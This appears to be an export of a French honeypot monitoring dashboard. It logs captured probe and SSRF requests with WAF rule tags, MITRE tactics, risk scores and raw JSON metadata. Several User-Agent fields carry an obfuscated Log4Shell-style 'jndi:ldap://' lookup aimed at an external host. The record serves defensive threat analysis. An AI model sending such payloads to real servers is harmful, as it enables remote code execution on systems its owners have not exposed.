${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${mk6l:-:}${phtl:6nr:-/}${ei6s:v:4esz:-/}${b6t:d8ks:-U}${x:c:9tc:-A}${6:vthz:-l}${…
Règles WAF
rce-0
rce-14
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: 62.3.50.33:3000
Accept: */*
User-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58
Requête brute (extrait)
POST / HTTP/1.1 Host: 62.3.50.33:3000 Accept: */* User-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${mk6l:-:}${phtl:6nr:-/}${ei6s:v:4esz:-/}${b6t:d8ks:-U}${x:c:9tc:-A}${6:vt
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "e4b56f69f0fb36a17aca6aef72d1a5a248de8ad3",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "aedeb8bd464f3e2dae43f0dd04c726e13fd92782",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.784889957834416,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.6,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 60,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "3f5c8c0e9e036b2375d62d95fb3480c79ce2aca5",
"event_fingerprint": "e7196c7bf474f4f41293d75c8d708c52870b6a0b",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 60,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "bf743e57e314ffab1e7ca326e1b39f78",
"payload_hash": "09aad5ec5888d62cf123f7e5a2e63b5d",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58",
"method": "POST",
"path": "\/",
"user_agent": "${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${mk6l:-:}${phtl:6nr:-\/}${ei6s:v:4esz:-\/}${b6t:d8ks:-U}${x:c:9tc:-A}${6:vthz:-l}${jbeu:dkea:-0}${bqws:1m8:-c}${f:opc:--}${${7d:-s}${b:-y}$\u2026",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${mk6l:-:}${phtl:6nr:-\/}${ei6s:v:4esz:-\/}${b6t:d8ks:-U}${x:c:9tc:-A}${6:vt",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${mk6l:-:}${phtl:6nr:-\/}${ei6s:v:4esz:-\/}${b6t:d8ks:-U}${x:c:9tc:-A}${6:vthz:-l}${jbeu:dkea:-0}${bqws:1m8:-c}${f:opc:--}${${7d:-s}${b:-y}$\u2026",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${mk6l:-:}${phtl:6nr:-\/}${ei6s:v:4esz:-\/}${b6t:d8ks:-U}${x:c:9tc:-A}${6:vt",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "3f55563e9979cd975815f602ce685090a0e6707a",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58",
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe)",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 60,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58:-:}${i:yjx:-l}${dku:-d}${tc6:d8:xtp9:-a}${71:7fmq:-p}${\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 15,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:25 UTC
TCP
3128 · HTTP
SSRF interne
ssrf internal · via HTTP:3128 · (tentative d'exploit)
Élevée
Moyen · 56
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3128
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 56
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:3128
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:3128 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "0004f205c8c9eec39df22e7d5c19060a1bc84a1b",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.3442683446057755,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3128,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.9,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 56,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "fd26819072250dcb8b4055072de225d2cf030e2f",
"event_fingerprint": "b44d6a5705c872a60d428b36f768df94eca10fde",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "a6332260ca18b18d528524e49aaca239",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 3128,
"service": "http",
"service_name": "http",
"risk_score": 56
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0c18727483326225c0620dde5bbe8c03b5e5bcc6",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit)",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 56\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 56,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3128,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3128"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 15,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:24 UTC
TCP
3000 · HTTP
Sonde port 3000/TCP
port 3000 tcp · via HTTP:3000 · (sonde / probe)
Élevée
Moyen · 48
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3000
Chemin / cible
/
Preuve honeypot — Sonde port 3000/TCP
Connexion détectée sur le port 3000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_3000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 48
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:extp:fdv:-:}${fj7x:dt:a36n:-/}${uh46:dxhn:w7im:-/}${o:-U}${h0:-A}${6s9:o:-l}${ai…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:3000
Accept: */*
User-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:3000 Accept: */* User-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:extp:fdv:-:}${fj7x:dt:a36n:-/}${uh46:dxhn:w7im:-/}${o:-U}${h0:-A}${6s9:o:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "7bfc3e41e2f276f2b4c47d2338a84621a880537a",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "0e80b6b5e3d87834ee7d20d0f2e66e10a8f7ead3",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.782125961051497,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 48,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "d64f266c32991523f10d51de49f7c2e64d6ac658",
"event_fingerprint": "e7196c7bf474f4f41293d75c8d708c52870b6a0b",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "b83496a5151485676fb042a158c84171",
"payload_hash": "5f4472ef8827c3da599809e110ef6e9c",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 48
},
